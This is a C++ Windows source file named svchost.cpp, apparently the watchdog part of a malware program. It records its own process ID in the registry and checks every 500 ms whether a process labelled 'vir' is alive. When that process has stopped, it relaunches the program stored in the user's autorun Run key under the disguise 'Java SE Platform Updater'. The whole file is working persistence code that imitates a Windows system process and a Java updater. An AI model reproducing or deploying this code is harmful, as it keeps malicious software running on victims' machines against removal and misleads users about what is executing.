// svchost.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"

const std::wstring autorun_reg_value_name = L"Java SE Platform Updater";
const std::wstring autorun_reg_key_name = L"Software\\Microsoft\\Windows\\CurrentVersion\\Run";
const std::wstring persistence_reg_key = L"Software\\Javaw";

void ExecuteFile(std::wstring path, std::wstring params)
{
	ShellExecute( NULL, L"open", 
		path.c_str(),        // Program to launch
		params.c_str(), // parms
		NULL,                // default dir (don't care)
		SW_SHOWNORMAL 
		);
}

LONG GetStringRegKey(const std::wstring path, const std::wstring &strValueName, std::wstring &strValue, const std::wstring &strDefaultValue)
{			
	HKEY hKey;
	LONG lRes = RegOpenKeyExW(HKEY_CURRENT_USER, path.c_str(), 0, KEY_READ, &hKey);

	strValue = strDefaultValue;
	WCHAR szBuffer[512];
	DWORD dwBufferSize = sizeof(szBuffer);
	ULONG nError;
	nError = RegQueryValueExW(hKey, strValueName.c_str(), 0, NULL, (LPBYTE)szBuffer, &dwBufferSize);
	if (ERROR_SUCCESS == nError)
	{
		strValue = szBuffer;
		RegCloseKey(hKey);
	}
	return nError;
}
void replaceAll(std::wstring& str, const std::wstring& from, const std::wstring& to) {
	if(from.empty())
		return;
	size_t start_pos = 0;
	while((start_pos = str.find(from, start_pos)) != std::string::npos) {
		str.replace(start_pos, from.length(), to);
		start_pos += to.length(); // In case 'to' contains 'from', like replacing 'x' with 'yx'
	}
}
BOOL IsProcessRunning(DWORD pid)
{
	HANDLE process = OpenProcess(SYNCHRONIZE, FALSE, pid);
	DWORD ret = WaitForSingleObject(process, 0);
	CloseHandle(process);
	return ret == WAIT_TIMEOUT;
}
BOOL WriteToRegistry(PCWSTR subkey, PCWSTR pszAppName, PCWSTR pathToExe, PCWSTR args)
{
	HKEY hKey = NULL;
	LONG lResult = 0;
	BOOL fSuccess = TRUE;
	DWORD dwSize;

	const size_t count = MAX_PATH*12;
	wchar_t szValue[count] = {};


	wcscat_s(szValue, count, pathToExe);

	if (args != NULL)
	{
		// caller should make sure "args" is quoted if any single argument has a space
		// e.g. (L"-name \"Mark Voidale\"");
		wcscat_s(szValue, count, args);
	}

	lResult = RegCreateKeyExW(HKEY_CURRENT_USER, subkey, 0, NULL, 0, (KEY_WRITE | KEY_READ), NULL, &hKey, NULL);

	fSuccess = (lResult == 0);

	if (fSuccess)
	{
		dwSize = (wcslen(szValue)+1)*2;
		lResult = RegSetValueEx(hKey, pszAppName, 0, REG_SZ, (BYTE*)szValue, dwSize);
		fSuccess = (lResult == 0);
	}

	if (hKey != NULL)
	{
		RegCloseKey(hKey);
		hKey = NULL;
	}

	return fSuccess;
}
std::wstring IntToWstring(int num)
{
	std::wostringstream ws;
	ws << num;
	std::wstring s(ws.str());
	return s;
}
int APIENTRY wWinMain (HINSTANCE hInstance,
					   HINSTANCE hPrevInstance,
					   LPWSTR lpCmdLine,
					   int       nCmdShow)
{
	WriteToRegistry(persistence_reg_key.c_str(), L"Pid1", IntToWstring(GetCurrentProcessId()).c_str(), L"");
	while(true)
	{
		try
		{
			std::wstring w_vir_pid;
			GetStringRegKey(persistence_reg_key, L"Pid", w_vir_pid, L"bad");

			if(w_vir_pid!=L"bad")
			{
				std::string s_vir_pid( w_vir_pid.begin(), w_vir_pid.end() );
				int vir_pid = atoi(s_vir_pid.c_str());
				if(!IsProcessRunning(vir_pid))
				{
					std::wstring vir_app_path;
					GetStringRegKey(autorun_reg_key_name, autorun_reg_value_name, vir_app_path, L"bad");
					replaceAll(vir_app_path, L"\"", L"");
					if(vir_app_path!=L"bad")
					{
						ExecuteFile(vir_app_path, L"");
					}
				}
			}
		}
		catch(...)
		{
		}
		Sleep(500);
	}

	return 0;
}

